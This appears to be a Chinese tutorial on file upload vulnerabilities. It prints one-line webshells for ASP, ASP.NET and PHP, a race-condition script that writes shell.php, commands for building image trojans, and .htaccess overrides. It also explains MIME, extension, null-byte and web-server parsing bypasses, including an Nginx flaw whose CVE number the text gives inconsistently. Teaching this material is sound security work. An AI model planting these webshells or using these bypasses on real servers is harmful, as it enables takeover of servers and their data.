文件上传漏洞
漏洞概述
文件上传是Web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站。如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。
漏洞成因
- 服务器配置不当
- 对上传文件没有限制
- 没有考虑系统特性和验证以及过滤不严格导致限制被绕过
漏洞危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至可以控制服务器。这个恶意脚本文件被称为webshell,也可以将webshell脚本称为一个网页后门,webshell具有十分强大的功能,比如查看服务器目录,服务器中的文件,执行系统命令等。
WebShell
WebShell是一个网站后门,也是一个命令解释器,使用HTTP协议通信,[继承了web用户的权限]。WebShell本质上是服务器端可执行的脚本文件,后缀名为.php/.asp/.aspx/.jsp。
大马
与一句话木马(小马)相比,代码量大,功能丰富。
小马
一句话木马
各个版本的一句话木马:
ASP:
<%eval request("cmd")%>
ASP.net:
<%@ Page Language="Jscript"%>
<%eval(request.Item["cmd"],"unsafe");%>
PHP:
<?php @eval($_REQUEST["cmd"]);?>
一句话木马简短干练。需要配合中国菜刀或者蚁件使用。
中国菜刀的三大基本功能
- 文件管理:包括文件上传,下载,查看,修改,执行
- 虚拟终端:可以获得cmd或bash命令行接口,执行相关命令
- 数据库管理:可以连接数据库,执行操作。
GETShell
获取WebShell的过程。
文件上传是getshell的一种方式,但不是唯一途径。
文件上传漏洞利用的条件
- web服务器开启文件上传功能,并且对外开发
- web用户对目标目录具有可写权限与执行权限。一般情况下,web目录都有执行权限。
- web容器可以解析上传的脚本
- 服务器配置不当,开启了PUT方法
漏洞防御
黑白名单策略
黑白名单是常用的安全策略之一。
PUT方法上传文件
PUT方法用来传输文件,就像FTP协议的文件上传一样,要求在请求报文的主体中包含文件内容,然后保存到请求URL指定的位置。
但是,鉴于HTTP/1.1的PUT方法自身不带验证机制,任何人都可以上传文件,存在安全问题,因此一般的web网站不食用该方法。若配置web应用程序的验证机制,或架构设计采用REST(表征状态转移)标准的同类web网站,就可能开放使用PUT方法。
JS检测绕过攻击
JS检测绕过上传漏洞常见于用户选择文件上传的场景,仅在前端使用JS脚本做检测,如果上传文件的后缀不被允许则弹窗提示。此时上传文件的数据包并没有发送到服务器。
这是有两种方法可以绕过客户端JS的检测:
- 修改或删除文件检测后缀的JS代码
- 通过抓包修改文件名后缀
分析:
<html>
<body>
<script>
function selectFile(fnUpload){
var filename = fuUpload.value;
var mime = filename.tolowerCase().substr(filename.lastIndexOf("."));
if(mime != ".jpg"){
alert("请选择jpg格式的照片上传");
fnUpload.outerHTML = fnUpload.outerHTML;
}
}
</script>
<form action="upload.php" method="post" enctype="multipart/form-data">
<lable for="file">FileName:</lable>
<input type="file" name="file" id="file" onchange="selectFile(this)" />
<br />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
服务端处理文件的代码如下所示。如果上传文件没出错,再通过file_exists()判断在upload目录中文件是否存在,不存在的话就通过move_uploaded_file()将文件保存在upload目录。
<?php
if($_FILES["file"]["error"] > 0){
echo "Return Code: " . $_FILES["file"]["error"] ."<br/>";
}
else{
echo "upload:" .$_FILES["file"]["name"] ."<br/>";
echo "type:" .$_FILES["file"]["type"] ."<br/>";
echo "size:" .($_FILES["file"]["size"] / 1024) ."<br/>";
echo "temp file name" .$_FILES["file"]["tmp_name"] ."<br/>";
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . "already exists" ."<br/>";
}
else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$_FILES["file"]["name"]);
echo "stored in:" ."upload/" . $_FILES["file"]["name"];
}
}
?>
此PHP代码中没有对文件后缀做任何限制,所以只需要绕过前端JS代码的校验即可上传webshell。
文件后缀绕过
apache对文件后缀名的识别是从右往左开始解析文件后缀的。如果最右侧的后缀名不可识别,就继续往左判断,直到遇到可以识别的后缀名为止。
例如:
如果上传的文件为1.php.xxx,当通过浏览器请求这个文件时,因为第一个后缀xxx无法识别,apache会继续往做识别,识别出.php,那么最后这个文件将被作为php文件解析并执行。
apache的这个特性,可以用来绕过文件上传的检测。如果一个文件上传的页面,通过黑名单的方式禁止上传php文件,那么我们就可以将文件名修改为1.php.xxx的方式进行上传,最后请求1.php.xxx时和请求1.php的效果是一样的,这样就成功绕过文件后缀名的检测上传webshell。
.php/.php2/.php3/.php5/.phtml
.asp/.aspx/.ascx/.ashx/.asa/.cer
.jsp/.jspx
分析:
服务端处理文件的代码作用为:
通过**pathinfo()**获取文件后缀,将后缀转换为小写后,判断是不是“php“,如果上传文件的后缀是php,则不允许上传。
文件类型绕过攻击
MIME类型是描述消息内容类型的因特网标准。MIME消息能包含文本,图像,音频,视频以及其他应用程序专用的数据。
在HTTP协议中,通过Content-Type字段来定义MIME类型。
类型 | 解释 |
---|---|
text/plain | 纯文本 |
text/html | HTML文档 |
image/png | png图像 |
image/jpeg | jpeg图像 |
application/octet-stream | 任意的二进制数据 |
application/pdf | pdf文档 |
application/x-www-form-urlencoded | 使用HTTP的POST方法提交的表单数据 |
multipart/form-data | 同上,主要用于表单文件上传 |
application/json | 序列化的json数据 |
application/x-javascript | js文件 |
在客户端上传文件时,通过抓包分析,当上传php格式的文件时,数据包中的Content-Type的值是:application/octet-stream,而上传jpg格式的文件时,数据包中的Content-Type的值是:image/jpeg。
服务端的代码通过检测Content-Type的值来判断文件的类型。这样则存在被绕过的可能。因为Content-Type的值是通过客户端传递的,是可以被修改的。当上传一个php文件时,通过抓包可以将Content-Type的值修改为image/jpeg,就可以绕过服务端的检测。
分析:
服务端判断文件的类型是通过
$_FILES["file"]["type"]
来判断的。
而
$_FILES["file"]["type"]
是客户端请求数据包中的Content-Type的值。所以可以通过抓包工具修改Content-Type来绕过服务端检测。
竞争条件攻击
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除之间存在一个短的时间差(执行文件检查和删除操作花费的时间),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
分析:
程序获取文件的逻辑如下:先判断目录下是否存在相同的文件,如果不存在,则直接上传文件。再判断文件是否为webshell,还有删除webshell时都是需要时间的。如果我们能在删除文件之前就访问该webshell,那么就会创建一个新的webshell,从而绕过代码限制。
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[cmd])?>');
?>
当先上传一个webshell脚本时,该脚本的内容是生成一个新的webshell。上传成功后,立即访问该webshell,则会在服务端当前目录下自动生成一个shell.php,这样就利用时间差完成的webshell的上传。
文件内容绕过攻击
在PHP中还存在一种相似的文件上传漏洞,PHP函数**getimagesize()**可以可以图片的宽、高信息,如果上传的不是图片,那么该函数就获取不到信息,则不允许上传。
<?php
if($_FILES["file"]["error"] > 0){
echo "Return Code: " . $_FILES["file"]["error"] ."<br/>";
}
else{
if(!getimagesize($_FILES["file"]["tmp_name"])){
echo "不允许的文件";
}
}
?>
面对这种情况,此时我们可以将一个图片和一个webshell合并为一个文件,生成图片木马:
例如:
cat image.png webshell.php > image.php
此时getimagesize()函数就可以获取图片信息,且webshell后缀为php,也能被apache解析,通过这种方式,能够绕过getimagesize()的限制。
图片木马:
图片木马可以上传,不能执行时,需要配合其他漏洞来触发。
-
在gif图片中第一行写入GIF89a,后面追加木马。
info.gif的内容:
GIF89a
<?php phpinfo();
?>
- 准备两个文件,一个正常的jpg图片smile.jpg和一个info.php的一个木马文件。在命令行输入:
,以二进制的方式打开,然后写入文件。这同样是一个图片,但是内容包含木马。copy smile.jpg/b+info.php/a smile_info.jpg
- 准备一个正常smile.jpg图片,然后右键属性->详细信息,修改该图片的版权:
把代码写在版权里。<?php phpinfo();?>
- 利用十六进制编辑器:我们知道jpg,png,gif图片文件头部都是相同的。
- gif
47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
- jpg
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c
- png
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
例如:使用编辑器复制png图片的头,然后使用Hex转换ASCII将其转换为ASCII,最后在底部插入木马,保存为png格式,可以绕过内容检测。如果后缀修改为php格式,是可以直接执行。所以需要配合其他漏洞一起攻击。
00截断
PHP的%00截断:
**原理:**00就是NULL字符,URL中表示为%00。由于00代表结束符,所以会忽略00后面的字符。
**过程:**当上传文件时,服务器需要将文件保存。使用move_uploaded_file()函数另存为,该函数的第二个参数即要保存的文件名及路径为一个字符串,当我们上传的文件名为1.jpg时,正常读取我们的文件名然后对文件名进行随机数处理进行保存。当我们上传的文件名为1.php%00,Fast-CGI读取我们的文件名时读到%00就结束了,就直接另存为。所以我们上传成功了该php文件。
以upload-lab11关为例。
.htaccess攻击
.htaccess攻击是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域为当前目录及其子目录。
如果一个Web应用允许上传.htaccess文件,那么意味着攻击者可以更改Apache配置。
.htaccess文件:
将png文件做当php文件解析:
AddType application/x-httpd-php .png
然后创建一个info.png文件,写入:
<?php phpinfo();?>
,当访问info.png文件时,Apache会将其当作php文件解析,然后info.png文件内的代码就会被执行。
文件名中包含php关键字时当作php脚本执行:info.php.png
AddHandler php5-script php
匹配文件名[xxx],然后执行其中的php代码
<FilesMatch “xxx”>
SetHandler application/x-httpd-php
</FilesMatch >
操作:先上传.htaccess文件,然后上传一个xxx的一句话木马。
Web容器解析漏洞
Apache解析漏洞:
就是上文所提到的文件后缀绕过。apache对文件后缀名的识别是从右往左开始解析文件后缀的。如果最右侧的后缀名不可识别,就继续往左判断,直到遇到可以识别的后缀名为止。
例如:info.php.xx.xxx.x
是一个十分古老的漏洞,新版本已被修复。
IIS解析漏洞
在IIS6.x下,分号后面的内容不被解析,举个栗子,xx.asp;.jpg将会当作xx.asp去解析执行.
IIS6.0 默认的可执行文件除了.asp,还包含这三种:.asa .cdx .cer. 例如:test.asa 、 test.cdx 、 test.cer
IIS5.x下存在目录解析漏洞。
在网站下建立文件夹的名称中以.asp或.asa等作为后缀的文件夹,其目录内任何扩展名的文件都被IIS当作asp可执行文件去解析并执行.
举个栗子:/xx.asp/xx.jpg为xx.asp目录下存在xx.jpg文件,但将会被IIS解析成asp文件去执行,与原文件的后缀无关.
PHP CGI解析漏洞
Nginx拿到url“/test.jpg/test.php”后,一看后缀是.php,便认为该文件是php文件,就会交给PHP-CGI去处理。PHP-CGI一看,如果文件不存在,便删除/test.php,然后看/test.jpg是不是存在,如果存在就把它当成php文件执行。
这其中涉及到php的一个选项:cgi.fix_pathinfo(php.ini中),该值默认为1,表示开启。开启这一选项有什么用呢?看名字就知道是对文件路径进行“修理”。何谓“修理”?举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。
该选项在配置文件php.ini中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般是开启的。
新版本的php引入了“security.limit_extensions”,限制了可执行文件的后缀,默认只允许执行.php文件。
/etc/php5/fpm/php-fpm.conf
security.limit_extensions = .php
开启这个选项的逻辑如下:
/*
* if the file doesn't exist, try to extract PATH_INFO out
* of it by stat'ing back through the '/'
* this fixes url's like /info.php/test
*/
if (script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/' ||
....//以下省略.
为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)
Nginx空字节漏洞
影响版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
原理:在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。如http://local/robots.txt%00.php会把robots.txt文件当作php来执行。
过程:Nginx拿到url之后,一看后缀是php,就会交给PHP-CGI去处理。CGI读取url的时候,读到robot.txt时,认为后面是NULL,就结束不读了,然后便将robot.txt当作php文件来执行。
Nginx文件名逻辑漏洞(CVE-2013-4745)
参考:
https://vulhub.org/#/environments/nginx/CVE-2013-4547/
https://blog.csdn.net/Blood_Pupil/article/details/88565176?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-7.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-7.control
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
该漏洞的利用其实还是00截断。
当我们上传一个文件test.jpg时,该文件为图片木马。然后我们访问/test.jpg.php,Nginx会交给fast-cgi处理,此时返回找不到该文件。
此时我们尝试00截断,访问/test.jpg[00].php。按照我们预想,此时nginx交给fast-cgi处理,由于00截断,所以fast-cgi处理的是/tet.jpg并且当作php文件执行。理想很丰满,但其实不是这样。此时nginx什么响应也没有。这是为什么呢?通过调试发现,当nginx发现文件名中存在\0截断符会返回错误信息代码如下所示:这就是收不到任何响应原因。
case '\0':
return NGX_HTTP_PARSE_INVALID_REQUEST;
那现在该怎么办呢?
nginx的逻辑如下:如果空格和截断符相邻的话nginx就不会检测到00截断并返回错误。这是一个逻辑漏洞,所以通过这种方式我们就可以继续使用00截断,这就是CVE-2013-4745.
利用方法如下:
我们上传一个test.jpg 的文件,注意,jpg后面有空格。然后我们访问/test.jpg[20][00].php。Nginx发现后缀为.php,会交给fast-cgi处理,由于00截断,fast-cgi处理的是/test.jpg[20]。然后将该文件当作php执行。需要该文件存在fast-cgi才能处理。
我们需要通过bp抓包修改,在url使用空格会被编码为%20。
/test.jpg .php(两个空格),然后将这两个空格修改为[20][00]。然后就可以被成功解析。
注意,[0x20]是空格,[0x00]是\0,这两个字符都不需要编码。